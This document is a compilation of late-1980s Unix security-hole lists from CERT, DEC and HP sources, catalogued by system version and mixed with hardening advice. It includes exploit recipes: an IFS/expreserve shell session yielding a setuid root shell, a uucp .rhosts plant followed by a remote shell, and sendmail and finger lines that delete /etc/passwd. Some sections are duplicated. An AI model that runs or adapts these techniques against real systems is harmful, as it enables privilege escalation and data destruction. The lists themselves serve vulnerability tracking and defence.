SunOS 3.5        connect w/acct;user root;ls;put /tmp/f/ tmp/b ()

SunOS 4.0/4.01   chsh (similar to chfn) ()

SunOS 4.0x?      anyone can restore a file over any other file ()

SunOS 4.0x?      chfn—allows newlines/meta chars bufsize ()

SunOS 4.0x?      rcp with uid -2; only from PC/NFS ()

SunOS 4.0x?      ln -s /any/suid/file -i ; -i        Get suid shell ()

SunOS 4.0x?      Selection service can remotely grab files ()

SunOS 4.0.3      mail to any non-root owned file, try twice ()

SunOS 4.0.3      login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw

SunOS 4.1        Shared libs accept relative paths w/ suid ()

SunOS 4.1        rshd: spoof via nameservice, rsh target -l uid ()

SunOS ?          adb the running kernel, shell out and get root ()

SunOS ?          ftp -n; quote user ftp; ect Gets root privs ()

SunOS ?          symlink .plan to target file, finger user()

SunOS ?          Overwrite gets buffer—fingerd, etc (3.5) ()

SunOS ?          rwall bug (<= 4.01 yes) ()

SunOS ?          lpd can overwrite file ()

SunOS ?          the window manager can be used to read any file ()

SunOS ?          rexd—any can get root access if enabled ()

SunOS 4.0.3      rcp buffer overflow ()

AIX ?            rexd—any can get root access if enabled ()

SunOS 4.1.x      comsat can overwrite any file ()

SunOS 4.1.x      ptrace allows to become root ()

SunOS 4.1.x      openlook: telnet 2000; executive,x3, run ps int ()

Ultrix 2.2       ln passwd file to mail spool, mail to user ()

Ultrix 2.2       can get root on NFS host via root via mountd ()

DYNIX 3.?        can get root on NFS host via root via mountd ()

Ultrix 3.0       lock—compiled in password “hasta la vista” ()

Ultrix 3.0       any user can mount any filesystem ()

Ultrix 3.0       login can run any program with root privs ()

Ultrix 3.0       X11 doesn’t clear passwords in mem; /dev/mem ()

Ultrix 3.0       ln -s target ~/.plan; finger user to access ()

Ultrix 3.1?      rshd: spoof via nameservice, rsh target -l uid ()

Ultrix 3.1-      limit file 0; passwd –>zero’s out passwd file ()

Ultrix 3.1-      lpd can overwrite any file (back to 2.0?) ()

Ultrix 4.1-      overflow Risc register buffer, get root w/ mail ()

Ultrix ?         chfn—allows newlines, meta chars, bufsize ()

Ultrix ?         ftp -n; quote user ftp; ect Gets root privs ()

Ultrix ?         can change host name, mount any filesystem ()

Ultrix ?         uudecode alias can overwrite root/daemon files ()

SYSV ?           IFS, other environment at “login:” prompt ()

SYSV 4           write to files; race condition using mkdir & ln ()

SYSV 4-          expreserve problem/race condition ()

IRIX             rsh <host> -l “” <command>   runs as root ()

Stellix 2.0      rsh <host> -l “” <command>   runs as root ()

IRIX ?           login: -r hostname

ruser^@luser^@term^@ ()

DYNIX ?          login: -r hostname

ruser^@luser^@term^@ ()

IRIX ?           login: -r hostname

ruser^@luser^@term^@ ()

HPUX 7.0         chfn—allows newlines, etc ()

HPUX 7.0-        chfn—allows newlines, etc (new bug) ()

Domain/OS <10.3  break root by using s/rbak; setgid/uid ()

Amdahl UTS 2.0   NFS mountd only uses hostname as authentication ()

SCO ?            rlogin to any acct from trusted host w/o passwd ()

BellTech SYSV/386 ulimit 0; passwd  ==> zero’s out passwd file ()

Microport 3.0    ulimit 0; passwd  ==> zero’s out passwd file ()

SunOS < 4.0      any user can run yp server ()

SunOS 4.01       ypbind/ypserv, SunOS 4.01; need 3 machines ()

SunOS 4.03       ypbind/ypserv, SunOS 4.01; need 3 machines ()

SunOS 4.03       concurrent yppasswd sessions can trash yp map ()

SunOS 4.0.3      ypserv sends maps to anyone who has domainame (ypsnarf)

Ultrix 3.1 ?     allows newlines, meta chars, buffsize problem ()

Ultrix ?         yppasswd leaves yp data files world writable ()

Ultrix           ypbind takes ypset from all; anyone can play yp DB server ()

BSD 4.1          Sendmail: can mail directly to a file ()

SunOS  4.03      Sendmail: can mail directly to a file ()

Sendmail <=5.61  can mail to any file not root owned, have to try twice ()

5.61             Sendmail: groups incorrectly checked, can get any group ()

SunOs 4.1        Sendmail: groups incorrectly checked, can get any group ()

Ultrix 2.2       Sendmail: -C file  ==> displays any file ()

DYNIX 3.0.14     Sendmail: -C file  ==> displays any file ()

Ultrix 2.0?      Sendmail: versions 1.2&13.1 sm, -oQ  > can read/write any ()

HP_UX            Sendmail: versions 1.2&13.1 sm, -oQ  > can read/write any ()

Sendmnail < 5.57 from:<”|/bin/rm /etc/passwd”>  && bounce mail… ()

IRIX 3.3/3.31    Sendmail:  any user can read any other user’s mail ()

?                wiz; shell   get root shell ()

X11R ?           snoop on keyboards and bitmaps ()

X11R3-4          can set log on, execute commands (fixed in “fix-6”) ()

Sun 4.03         uucico can show ph num, login, passwd, on remote machine ()

SunOS            icmp  errors not handled correctly; log off users remotely ()

Ultrix           icmp  errors not handled correctly; log off users remotely ()

SunOS            emacsclient/server allows access to files ()

Ultrix           emacsclient/server allows access to files ()

GENERAL

 

1.   Do not allow usernames to contain any of the following characters “;~!‘” (or any shell meta-charaters).  This allows setuid root programs that popen to be spoofed.

2.   Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx.  All a user has to do to break root is to send a line such as:

 

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text.

3.   Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited.  All non-standard setuid programs should be examined.

4.   Many systems can be compromised with NFS/RPC.  A skilled RPC writer can break security relatively easily.  MIT’s PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure.

5.   The mount command should not be executeable by ordinary users.  A setuid program on a mountable disk is NOT TO BE TRUSTED.

6.   Systems that allow read-only mounting of foriegn disk are a security hole.  Setuid programs are normally honored.  This allows a person who has root access on a foriegn machine to break it on another.

7.   Expreserve can be a huge hole (see the following)

 

/dev/fb

the frame buffer devices on at least suns are world

readable/writeable, which is at best annoying (when

someone runs something strange on you) and at worst

insecure (since someone can take a snapshot of your screen

via screenload or whatnot)

/dev/*st*, mt, etc (tape devices)

generally world readable/writeable, bad since others can

nuke your tapes, read your backups, etc.

chfn, chsh

used to create a root account

core

will system dump a setgid core image?

domain name system

a sysadmin running the soa for a domain somewhere can

create a bugs reverse address mapping table for one of his

hosts that causes its IP address to have the domain name

of a machine that my host has in its hosts.equiv file.  if

i’m using the usual version of ‘istrusted’ (I think that’s

the routine’s name), the address lookup reveals the name

of the host to be one that my host trusts, and this other

sysadmin can rlogin into my machine or rsh or whatnot at

will.

fchown

test for bad group test

ftruncate

can be used to change major/minor numbers on devices

fingerd

hard .plan links – reading unreadable files readable by

user(fingerd)

setuid, .plan links

running as root

(fingerd_test.sh)

buffer overrun

file mod test.

test of file does not loose the setuid bit when modified

 

ftp

ftpd

static passwd struct overwrite

4.2 based bug, userid not reset properly, (after logging

in enter comment “user root” and you are, last seen

onder SunOS 3.3?).

overwrite stack somehow?

hosts.equiv

default + entry

istrusted routine – easy to spoof by bad SOA at remote site with hacked reverse address map.

lock

4.1bsd version had the password “hasta la vista” as a

builtin trapdoor. (found in ultrix)

lost+found, fsck

lost+found should be mode 700, else others might see

private files.

lpd

its possible to ovberwrite files with root authority with

user level access locally or remotely if you have local

root access

lpr

lpr -r access testing problem

lprm

trusts utmp

passwd

fgets use allows long entries which will be mangled into

::0:0::: entries

also allows:

fred:…:…:…:Fred ….Flintstone::/bin/sh =>

fred:…:…:…:Fred…..

Flintstone::/bin/sh

which is a root entry with no password!

fix – should skip to eol if it didn’t read whole entry, should enforce buffer limits on text in file, don’t use atoi (since atoi(/bin/sh) is 0).

portmap

allows other net entities to make bindings – may not be a

“security hole”, can lead to denial of service.

rcp

nobody problem

rexd

existence

rwall,comsat

running as root, utmp world writeable, writes to files as

well as devices in utmp dev fields.

 

rdist – buffer overflow

selection_svc

allowed remote access to files

sendmail

debug option

wizard mode

TURN command

allows mail to be stolen

decode mail alias – anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user.

 

overflow input buffer

cause the sendmail deamon to lock up

overwrite files

sendmail can be “tricked” into delivering mail

into any file but those own my root.

  • oQ (different Q)

fixed in newer versions

mqueue must not be mode 777!

what uid does |program run with?

sendmail -bt -C/usr/spool/mail/user – in old versions, allows you to see all lines of the file.

setuid bit handling

setuid/setgid bit should be dropped if a file is modified

fix: kernel changes

setuid scripts

there are several problems with setuid scripts.  is it

worth writing tests for these?  some systems might have

fixed some of the holes – does anyone know how one fixes

these problems in a proactive fashion?

sh

IFS hole (used with vi, anything else?)

su

overwrite stack somehow?

tcp/ip

sequence number prediction makes host spoofing easier

source routing make host spoofing easier

rip allows one to capture traffic more easily

various icmp attacks possible

(I suspect a traceroute’d kernel will allow one to easily dump packets onto the ethernet)

tftp

allows one to grab random files (eg, /etc/passwd).

fix – should do a chroot

allows puts as well as gets, no chroot

fix – don’t run as root, use chroot, no puts, only if boot server.

utmp

check to see if world writeable (if so, the data can’t be

trusted, although some programs are written as though they

trust the data (comsat, rwalld)).

uucp

check if valid uucp accounts are in the /etc/ftpusers.  If

the shell is uucico and passwd is valid make sure it is

listed in ftpusers.

check to see that uucp accounts have shell: if left off, folks can do:

cat >x

myhost myname

^D

uucp x ~uucp/.rhosts

rsh myhost -l uucp sh -i

 

HDB nostrangers shell escape

HDB changing the owner of set uid/gid files

HDB meta escapes on the X command line

HDB ; breaks on the X line

uudecode

if it is setuid, some versions will create setuid files

 

ypbind

accepts ypset from anyone (can create own ypserv and data,

and ypset to it…)

ypserv spoofing

send lots of bogus replies to a request for root’s passwd

entry, while doing something that would generate such a

request [I’m pretty sure that this is possible, but

haven’t tried it.]

AIX
  • password means use root’s password?
AIX 2.2.1

shadow password file (/etc/security/passwd) world

writeable

fix – chmod 600…

386i login

fix – nuke logintool, hack on login with adb, chmod 2750

ultrix 3.0 login

login -P progname allows one to run random programs as root.

fix – chmod 2750.

xhost:

if access access control is disabled any one can connect to

a X display it is possible and create (forge) and/or

intercept keystrokes.

 

GENERAL

 

1.   Do not allow usernames to contain any of the following characters “;~!‘” (or any shell meta-charaters).  This allows setuid root programs that popen to be spoofed.

2.   Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx.  All a user has to do to break root is to send a line such as:

 

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text.

3.   Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited.  All non-standard setuid programs should be examined.

4.   Many systems can be compromised with NFS/RPC.  A skilled RPC writer can break security relatively easily.  MIT’s PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure.

5.   The mount command should not be executeable by ordinary users.  A setuid program on a mountable disk is NOT TO BE TRUSTED.

6.   Systems that allow read-only mounting of foriegn disk are a security hole.  Setuid programs are normally honored.  This allows a person who has root access on a foriegn machine to break it on another.

7.   Expreserve can be a huge hole (see the following)

 

BSD 4.2 and earlier BSD releases

The following is a security hole that exists in the BSD 4.2 flavors of

UNIX.  This bug is associated with /usr/lib/expreserve being setuid to root and

the shells IFS (internal field seperator) variable. Expreserve executes a line

such as:

if ((fp = popen(“/bin/mail USER”, “w”)) != NULL) {

 

 

The implementation of popen(3C) has an exec(2) call of the form:

execl(“/bin/sh”, “sh”, “-c”, POPEN_ARG_1, (char *) 0);

what this does is the /bin/sh telling to to run command such as

sh -c “/bin/mail USER”

where SHELL is running with an effective user id of root.  The change of IFS caused shell to parse the command as “bin mail USER” and executes the shell script “bin” in the current directory which copies a version of the C shell and makes it setuid to root.  The SIGHUP to ex(1) causes expreserve to be invoked to preserve the user’s editing session and send the user mail telling him that a copy of his buffer was saved, etc, etc.  The fix was accomplished by not having the sh do $IFS processing to the argument following a “-c” option.

% mkdir $$; cd $$

% touch bin ; chmod a+rx bin

%set path=(. $path)

% cat > bin << END-O-FILE

#!/bin/csh -f

setenv IFS’ ^I’

/bin/cp /bin/csh .

/bin/chmod u+s csh

END-O-FILE

% setenv IFS /

% ex bin

“bin” LLL lines CCC characters

:s/c/cc/

#!/bin/ccsh -f

:stop

[1] + Stoppedex bin

% kill -HUP %ex

% wait

%ls -l csh

  • rwsr-xr-x  1 root78848 Jan  7  1986 csh*

% ./csh

#This works only on 4.2BSD, was fixed in 4.3BSD.

 

 

SYS V and earlier AT&T releases

 

The following will work work on SVR2 (USG) and earlier AT&T release,

as long as you can create a file on the same file system as /etc/passwd.

There is a race condition in /bin/mkdir [mkdir(1)] which first

mknod(2)s the directory then chown(2)s the directory to the real

uid of the process:

if (mknod(dir, S_IFDIR | 0777) == 0)

chown(dir, getuid(), getgid());

if there is a context switch after the mknod(2) call and the parent process unlink(2)s the node and creates the link before the mkdir process runs again then the /bin/mkdir chown(2)s the link to be owned by you.

On many systems /tmp is on the same file system as /.  Otherwise other

files need to be located that can be compromised.  This is caused

by the lack of a mkdir system call.  If /bin/mkdir is setuid to root

then this should work.  Assuming /tmp is on the same file system as

/etc then one could that would be invoked like the following:

breakdir /etc/passwd /tmp/foo

and would change your uid to root.

 

SVR.0 to SVR3.2

 

Several at(1)s have an extremely nasty bug.  Cron(1) which run atjobs runs

setuid to root.  Normally the atjobs are stored in /usr/spool/cron/atjobs.

There it creates a file owned by the atjob submitter.  On many systems

/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to

chdir(2) to that directory.  Many System V crons determine what uid to run

the atjob by the file’s owner.  Breaking security can be as simple as cding

to cron and change the owner of an atjob you submitted to root.

Alternatively, an atjob that submits another atjob on some systems

will run as root (I don’t know why).

 

BSD 4.3 AND EARLIER    SYSV   SUNOS (SOMETIMES)

 

Well folks:

I have found a rather barbaric race condition in expreserve that allows the setuid program to be compromised by changing the permissions of a file.  This bug exists in all expreserves up to and including Berkeley 4.3. (well not quite).  On all System V and earlier releases this works.  Under System V expreserve places the Ex temp file in the directory:

/usr/preserve/$USER

and under the Berkeley releases it places them under either:

/usr/preserve

or

/var/preserve (SUN0S 4.X)

 

This “feature” will definitely allow security to be breached on all standard

System Vs (non-secured) and all Berkeley-ish systems that have /usr/preserve

writeable by the user (Note: SUNOS has this directory UNWRITEABLE).  The

System V bug was relatively unavoidable (until SVR4) but the Berkeley bug

should have been fixed as soon as the fchown(2) system call was added to BSD.

Basically the “hole” is that expreserve does:

fd = creat(“/usr/preserve/Exaaa$PID, 0600);

chown(“/usr/preserve/Exaaa$PID, real_uid, real_gid);

 

when it should do a:

fd = creat(“/usr/preserve/Exaaa$PID, 0600);

fchown(fd, real_uid, real_gid);

 

which avoids the race (it changes the permission on the inode that was

creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID).  The

previous examples are actually simplified as expreserve actually looks at the

uid and gid as stored in the /tmp/Ex$PID file and compares them to the

getuid() and getgid() return values.

The actual “race” is that a context switch may occur between the creat(2) and chown(2) in expreserve that allows another process with write permission to the target directory to unlink(2) the creat(2)ed file and place a hard link to another file by that name in the target directory, which expreserve subsequentlies chown(2)s to your uid.  This “feature” allows any file on the same device to be owned by you.  From my reading on symbolic links, this should also work with symlinks BUT DOES NOT atleast under SUNOS 4.X and HPUX.  According to my 4.3BSD Programmer’s Reference Manual chown(2) SHOULD change the permissions on the file pointed to by the symlink as one of its failure conditions is:

[ELOOP] Too many symbolic links were encountered in

translating the pathname.

 

This implies to me that a chown(2) on a symbolic link should chown(2) the file

pointed at by the link, but under SUNOS4.X and HPUX (A.B2.10) it changes the

permission on the symbolic link (funny, I thought symlinks were always mode

lrwxrwxrwx).   Both man pages for SUNOS and HPUX also include the ELOOP

failure condition for chown(2).  This bug is usable to place trojan horse

in “trusted” directories [(e.g.) /usr/bin].  The trojan horse I would

place there is a program that fork(2)s and exec(2)s a program giving me a

setuid to root shell if the euid is equal to root and then execs the real

program and then restores everything to what it was.

The procedure for utilizing this bug is to create a VALID non-zero length

/tmp/Ex$PID file and copy  it the the directory were the cracking program is

located under the name “data”.  To do this edit a junk file, make some

changes and escape to a shell and check the /tmp directory for a non-zero

length Ex$PID file owned by you, copy it to the cracking directory and run

the program that follows.  Note:  This program needs to be modified to run

under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been

tested under SUNOS 4.X and HPUX.  I haven’t had time to modify it yet, but it

will definitely work under System V.

There are four ways to gain unauthorized (root) privileges:

  • Knowing a (root) password. This should be easy to prevent.
  • Using setuid programs. Even in case of configuration errors, like mode 666 on the passwd file, unauthorized privileges are granted by (system) suid programs like login, passwd, etc.
  • Bad system calls. This was an issue in older versions. For instance, setgid(-1) did strange things on some old UNIX versions. This doesn’t really happen anymore.
  • Fooling daemons running as root. This is the largest problem. Editing the crontab, playing with sendmail falls under this category, but also the network can be misused. For instance, you can write a program that talks to ypserv, or nfsd, or anything. Also, daemons use configuration files, which shouldn’t be readable.

 

Most security violations occur due to bad file protections, exploited

with normal commands, not C source code. Another problem is old or bugged

programs, in particular (2) setuid programs and (4) daemons.

Most hackers don’t use source code, but I think if a hacker uses source

to exploit a problem, it’ll be impossible to find a search pattern that

can deterministically state if a program is good or bad.

<wabbit> it was a bug for years in the ftp server.

<wabbit> bsd4.2 had it.

<wabbit> and 4.3

 

 

Bug reference sheet

Comfirmations, additions, changes to: df@cert.sei.cmu.edu

Last change made: Dec 12, 1990

 

 

4.X   BSD

Version      problem

4.1 can mail directly to a file

run set gid program, dump core, is set gid of owner

lock—compiled in password “hasta la vista”, plus can ^Z

Pre 4.2?     IFS w. preserve bug in vi

suspend mkdir, ln file you want to dir, you own file

4.2 lock—compiled in password “hasta la vista” ln passwd file to mail spool, mail to user ==> file can truncate read only files finger “string | /bin/rm -f /etc/passwd”@foo.bar ln -s target ~/.plan; finger user to read any file.  lpr file; rm file; ln -s /any/filename file ==> prints file adb su; change check in memory; shell out; su ==> root.  race condition, can get root via “at”

4.3 ftp -n; quote user ftp; ect.  Gets root privs.  lpd can overwrite file ln -s /any/suid/file -i ; -i       Get suid shell.  fchown (2) can chown any file race condition (expreserve?), can get root via “at” passwd chokes on long lines, splits pw file ==> root access

 

4.3 Tahoe    chfn—allows newlines, meta chars, bufsize problem

login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

?            Overwrite gets buffer—fingerd, etc

uudecode alias can overwrite root/daemon owned files

/bin/mail ; !/bin/sh    Get uid=bin shell

rwall bug.

adb the running kernel, shell out and get root

sendmail can mail to any non-root owned file, have to try twice

rshd—spoof via nameservice, rsh target -l uid

SunOS

Version      problem

386i/4.01?   login -n root    requires no password

3.5 ftp—connect w. acct; user root; ls; put /tmp/foo /tmp/bar; result is owned by root

 

4.0 && 4.01  chsh—similar to chfn

4.0x?        anyone can restore a file over any other file.  chfn—allows newlines, meta chars, bufsize problem.  rcp with uid -2; only from PC/NFS.  ln -s /any/suid/file -i ; -i       Get suid shell.  Selection service can remotely grab files.

4.03  sendmail can mail to any non-root owned file, have to try twice login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.

4.1 Shared libs accept relative paths when running suid (e.g. xterm.) rshd—spoof via nameservice, rsh target -l uid

 

?            adb the running kernel, shell out and get root

ftp -n; quote user ftp; ect.  Gets root privs.

symlink .plan to target file, finger user to read.

Overwrite gets buffer—fingerd, etc.  (3.5)

rwall bug (<= 4.01 yes).

lpd can overwrite file

the window manager can be used to read any file

rexd—any can get root access if enabled

 

4.03-        rcp buffer overflow

 

4.1-         comsat can overwrite any file

ptrace allows to become root

under openlook; telnet port 2000; executive,x3, run the ps interp.

Ultrix

Version      problem

2.2 ln passwd file to mail spool, mail to user ==> file

can get root on host running (some) NFS from a root account

on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)

3.0 lock—compiled in password “hasta la vista”

any user can mount any filesystem

login can run any program with root privs

X11 doesn’t clear passwords in memory; /dev/mem is world readable.

ln -s target ~/.plan; finger user to read any file.

3.1-         limit file 0; passwd  ==> zero’s out passwd file

lpd can overwrite any file (back to 2.0?)

4.1-         overflow Risc register buffer, get root through mail.

 

?            chfn—allows newlines, meta chars, bufsize problem

ftp -n; quote user ftp; ect.  Gets root privs.

can change host name, mount any filesystem

uudecode alias can overwrite root/daemon owned files

3.1? rshd—spoof via nameservice, rsh target -l uid

System V

Version      problem

?            can set IFS, other environment at “login:” prompt

SVR4-        expreserve problem/race condition.

pre SVR4     write to files; race condition using mkdir & ln

 

SGI (Iris?), MIPS, Steller

Stellix 2.0  rsh <host> -l “” <command>   runs as root

RISC/os 4.51, DYNIX

Stellix 2.1  login: -r hostname

ruser^@luser^@term^@

 

HP-UX

Version      problem

7.0-         chfn—allows newlines, etc.  Different bug with 7.0.

Apollo

Version      problem

10.x(max10.3)break root by using s/rbak; problem is in setgid/uid

Amdahl UTS

Version      problem

2.0          NFS mountd only uses hostname as authentication; easy to spoof.

SCO

Version      problem

?            can rlogin to any acct (root, etc.) to trusted host w/o password

Bell tech sys V/386

Microport 3.0  ulimit 0; passwd  ==> zero’s out passwd file

YP

Pre 4.0      any user can run yp server

 

4.01/4.03    ypbind/ypserv, SunOS 4.01; need 3 machines

 

4.03         concurrent yppasswd sessions can trash yp passwd map

ypserv will send maps to anyone who can guess the domainame

 

Ultrix3.1/?  allows newlines, meta chars, buffsize problem

?            yppasswd leaves yp data files world writable

ypbind takes ypset from all; anyone can say they are yp DB server.

Sendmail

4.1 BSD      can mail directly to a file

Sun 4.03,

<=5.61       can mail to any file not root owned, have to try twice

5.61, 4.1Sun,

lots others? groups incorrectly checked, can get any group

Ultrix 2.2,

DYNIX 3.0.14 -C file  ==> displays any file.

 

Ultrix 2.0?

HP_UX        versions 1.2&13.1 sm, -oQ  ==> can read/write any file

 

< 5.57       from:<”|/bin/rm /etc/passwd”>  && bounce mail….

 

IRIX 3.3/3.31 any user can read any other user’s mail.

?            wiz; shell   get root shell

X

X11R?        snoop on keyboards and bitmaps.

X11R3-4      can set log on, execute commands (fixed in “fix-6”)

 

UUCP

Sun 4.03     uucico can show ph num, login, passwd, on remote machine.

TCP/IP

icmperror    errors not handled correctly; log off users remotely.

Misc

Gnuemacs     emacsclient/server allows access to files.

I still need to type 2 more of these in, for now see what you can add to them.

ULTRIX.LST

Mike Burrows – burrows@src.dec.com 8/88

Berkeley  (4.2, maybe also 4.3 + sun + ultrix)

You can get a root shell from a standard sendmail by typing

a wizard password (wiz?) and “shell” (fixed after 4.2?)

Chfn, chsh rename their tmp(=lock) files to /etc/passwd before fflushing() so there is a window when the passwd file is null and unlocked. Running one right after another zaps the passwd file if it hits the timing hole.

chfn allows you to put massive field in in passwd file which breaks getpwent()

passwd(1) leaves the passwd file locked if the user sets a file size limit before running the programme.

passwd(1), chfn, chsh etc don’t detect corrupt pw entries they add new ones – particularly ones with a null name, passwd and zero uid -> su “” works without password.

lpr will print any file if you use the -s flag (can’t copy) and then rename file. (fixed in 4.3)

lpr will remove any file in / with the -r option (luckily won’t remove unix image because it refuses to print an a.out)

ptrace modifies shared text.  You can modify the text of any readable binary in-core.  This allows immediate breakin with suid progs by writing short C prog.  Even just using adb, you can set break points to stop any one using a given programme.

vi runs expreserve when HUPed.  expreserve is suid and it runs sh -c “bin/mail…”  or similar.  Fun with IFS=.  I have seen this on lots of systems.

4.2+ultrix systems (suns too?) have /dev/kmem and /dev/mem readable!!!

== open system  They even provide an unprivileged utility

to core dump other processes.  (you just recompile it with

a security check removed, or patch the binary)

ioctl  (TIOCSTI) – simulate terminal input on controlling tty  – fine, but you can set your controlling tty to be anything after using ioctl  (TIOCNOTTY)  (fixed in 4.3)

You can send SIGINT, SIGHUP, SIGQUIT and SIGTSTP to any process on the system by changing your tty process group to the group of the target process and hitting intr, logging out, hitting quit or hitting susp.  (fixed in 4.3??)

On the sun (and other system with window displays?) /etc/utmp is publicly writable, so the window system can put the pty in it.  This makes it easy to fake your userid on anything that believes getlogin(3)

suid shell scripts will run the .profile file if you make a link to them with name –    suid shell scripts should NEVER be allowed for other reasons anyway e.g. IFS=.   Similarly with csh.

In ultrix, the physical ethernet address of a machine can be changed by any user.  -> denial of service.

Berkeley network security is based on “reserved ports” – therefore,

this is trivial to break if you have your own workstation

vhangup system call is meant to disconnect all processes from current controle terminal.  However, they can reopen the terminal as /dev/tty even if the tty permissions have changed since their controle tty is not zeroed.

most suid programmes don’t expect resource usage signals, timeout signals.

Other systems, generic and general bugs

 

Some versions of uusend call “uux” on the PATH while suid to root.

Some news receivers execute shell commands sent down the news feed.

In NFS, exec permission is equivalent to read.  In general, NFS protection is lousy.   Over an ethernet, it is non-existent.  (it took 10 minutes work for one of our undergraduates to understand, construct, and send a packet to delete a file using NFS)

Information/guest logins release userids

Users can write a trojan horse ls/su programme Fixes:

1)   change default PATH to /bin:/usr/bin:.

2)   fix shell so it won’t exec from a relative path unless directory is not writable by other users

3)   important progs like “su” could require argv[0] to be /bin/su

 

Bogus getty/login.  Fixes:

1)   all lines should come in over a network interface to a port that cannot be accessed by anyone but root.

2)   terminal driver should have a hardwired escape (e.g. line break) that always zaps all processes with the terminal open.  (see vhangup above)

Idle logout helps things a little

insecure reboot  (fix is to use a 3b2? – pity the 3b2 is unusable) have single user mode spawn /bin/login?

Many daemon and/or support programmes are insecure when invoked directly by the user.  Often mail can be forged this way.  Fix is to stop normal users exec’ing such progs.

Some root suid programmes dont have to be suid to root but are.

Many mail systems keep user mail files readable by other users.

They also keep temp files readable by others.

Passwords should be significant to longer than eight characters, or passwd should warn about characters being lost.

system(3) and popen(3) should NEVER be called by suid programmes or programmes that are ever called by suid programmes.  Even versions of system(3) that say setuid(getuid()) have lots of holes (the programme doesn’t give its uid to a random programme, but it is acting on information given to it by a random programme)

Some versions of rmdir are broken on systems without a rmdir syscall.

Allows you to remove ..

(was on the net with bugfix)

(similar problems with rm -r?? mv?? mvdir script?)

 

crypt(1) is too weak to be trusted by anyone.  An average CS student

can break it.  The manual should say so.  A better encryption scheme

should be provided (Wheeler encryption is faster in software but more

secure)

Most systems have tty’s generally writable.  Write should be suid and should not allow arbitrary controle characters.  It should also be possible for a user to force a write to him to die (cf hanging up the phone)

Even console should not be generally writable – all logging should

not block.  Otherwise, e.g. a user can make the console run out

of paper, or can send it interesting controle codes.

getlogin(3) ttyslot(3) ttyname(3) don’t find/use controlling terminal.

They use stdin instead.  They are sometimes used for security checks

  • useless security check.

 

Lots of “denial of service” bugs due to lax resource allocation.

It’s easy to hog the processor, memory, disc, tty bandwidth

Advisory locks have no seperate permissions bits.  Easy to lock out

any daemon that uses them.  All files used for locking should not

have read or write permission for “others”

Most suid programmes don’t expect to get filesize limit signals, SIGALRMs.

 

 

KNOWN SECURITY HOLES ON UNIX SYSTEMS

HP CONFIDENTIAL!

LAST UPDATED 850312

 

List  collected  by  Alan  Silverstein.  All  security  problems

listed are correctable on site unless noted with “S” (sensitive)

in the left margin.  (In “sanitized”  versions of this list, all

such lines are removed.) If this list is incomplete, please send

me additions or corrections.

This is a  “sanitized”  list,  also  generalized  from  HPUX  to generic UNIX.

 

BASIC PRINCIPLES OF GOOD SECURITY:

  • Physical control of equipment.
  • Management committment to security.
  • Employee education on what is expected of them.
  • Administrative procedures designed to increase security.
  • Concealment alone is not security.
  • Better to know you are not secure, than falsely think you are.

 

 

  • HARDWARE:  Anyone  who can  connect  the root disc to  another system and mount it can break  security.  Anyone who can mount a  personal  volume on the local  system  can do the same.  If init state 1 starts any shells  without  going through  login, anyone who reboots the system can be super-user.

 

Solution:  Physical   security,  no  removable   mass  storage

volumes (or protected  mount(1)  command), and an init state 1

which requires login.

 

  • FILE  SYSTEM:  Sloppy   ownerships/permissions  are  a  common problem, particularly on special files.

 

Solutions:  Be  sure  the  filesystem  is  generally   secure.

Special files like /dev/mem,  /dev/kmem,  and /dev/rhd  should

not even be  readable  except  by  super-user.  Use a  default

umask of 022 (see sh(1)) so new files are not writable  except

by the owner.

 

  • ROOT DIRECTORY:  It must be 555  (unwritable),  owned by root.

If  unprotected,  any user can move /etc and create  their own

/etc/passwd file (and so on).

Solution:  Protect root directory.

Comment:  Pre-4.0  versions of  sdfinit(8)  (Series  500 only) left new volumes set to 777.  It’s  necessary to do “ls -ld /” to check this.

 

  • PUBLIC DIRECTORIES:  In general, most of them must be owned by root, other, and set to be  unwritable.  In  particular  /etc, /usr,  /usr/lib,  and the  super-user’s  login  directory  are sensitive due to system config and .profile files there.

 

Solution:  Deny  write  access  to public  directories  except

where the need exists (such as /tmp).

 

  • CONFIGURATION  FILES:  Certain files must be owned by root (or package owners, like news or lp) and unwritable by the public, including  /etc/inittab,  /etc/rc,  /etc/passwd,   /etc/group, /etc/profile, /usr/lib/crontab, and the super-user’s .profile.

 

Solution:  Deny access to  sensitive  files  except  where the

need exists.

 

  • COMMAND PATHS:  Shell scripts, and programs which use exec(2), may be violated by Trojan horses when run by the super-user or other  users.  In  particular,  a  user  might  call a  setuid program with a bogus PATH variable exported.

 

Solution:  All shell scripts and certain  programs  should set

their own PATH before  running any  commands, or use  explicit

(absolute)  paths,  and/or  require that they  themselves  are

invoked using absolute paths (like /bin/su).

 

  • PRIVILEGED-USER  PATHS:  If the  super-user’s  (or any user’s)

PATH  variable  includes  “.” or a null  field  (for  “current

directory”),  and the user changes to a non-secure  directory,

he might unknowingly run a Trojan horse program named the same

as  a  standard   command.  This   program   might   create  a

setuid/setgid shell and then remove itself.

Solutions:  Avoid “current directory” in $PATH.  Some commands should  require that they be in invoked with  absolute  paths.  Keep the file system  sufficiently secure that  non-privileged users cannot plant Trojan horses in libraries or commands.

Comment:  One  possibility  is to have  the  shell  check  the ownership of files before running them.  If a command is found in a  directory  in PATH which does not start with “/”, and if it is not  owned by the user who is trying  to run it, give an error (forcing the user to type “./” to run it).

 

